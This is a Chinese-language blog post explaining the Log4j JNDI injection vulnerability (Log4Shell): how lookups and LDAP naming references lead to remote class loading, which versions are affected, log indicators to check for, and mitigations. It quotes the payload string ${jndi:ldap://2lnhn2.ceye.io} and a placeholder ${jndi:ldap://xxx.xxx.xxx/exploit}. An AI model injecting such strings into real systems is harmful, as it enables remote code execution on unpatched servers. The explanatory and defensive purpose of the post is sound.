log4j漏洞详解

编程入门 行业动态 更新时间:2024-10-27 12:25:22

log4j漏洞<a href=https://www.elefans.com/category/jswz/34/1770044.html style=详解"/>

log4j漏洞详解

一.什么是log4j?

log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。

使用方法:

                1.pom引入依赖

                2.获取logger实例

                3.logger.info() debug() error() warn()...

优点:功能丰富,易于集成

二.排查log4j

哈哈,先来检查一下你们公司有没有log4j的漏洞,估计都是修复了,当时可是掀起血雨腥风啊

1.pom检查

2.可以通过日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog",等字符来看看有没有别人在搞你

3.检查日志中是否有相关堆栈报错,堆栈中是否有一些JndiLookup,LdapURLContext等与JNDI调用相关的堆栈信息。

三.什么是JNDI注入

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。

 四.什么是命名应用(JNDI naming Reference)

先给这些名词简单说一下

Ldap:你可以将它理解为一个目标数据库。

然后这个命名引用就是:

1.在这个目标数据库(LDAP)中可以存储一个外部的资源,对应的Reference类

比如说HTTP服务的一个.class文件

2.如果JNDI客户端,在LDAP服务上找不到对应的资源,就会到指定的地址请求数据,如果是命名引用的,就会将这个文件下载到本地。

3.如果你下载的这个.class文件包含无参构造函数或者静态方法块,那么加载的时候他会自动执行

四.漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“开发人员图快捷”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡,但是如果只是打印日志的话没没有什么危害,但是,打印系统变量这种对系统而言构不成什么威胁。最终要的原因是log4j还支持JNDI协议。而且这个JNDI协议中还支持lookup()方法,那么这个漏洞就危害比较大了。

整个攻击链:

攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 远程加载攻击者服务器上的class文件构建对象(LDAP/RMI中有个命名引用功能) -----》寻找本地的恶意代码并执行

漏洞条件

1.使用了log4j的组件,并且版本在2.x <= 2.14.1

2.JDK版本小于8u191,7u201,6u211

漏洞修复与防御

等你把上面看完了,你也就知道怎么去修复了,欢迎补充!!!

1.禁止用户请求参数出现攻击关键字

2.禁止Lookup下载远程文件(命名引用)

3.禁止log4j使用Lookup

4.禁止log4j的应用连接 外网

5.可以直接在log4j jar包中删除lookup (2.10以下)

更多推荐

log4j漏洞详解

本文发布于:2024-03-15 03:11:08,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1737985.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:详解   漏洞   log4j

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!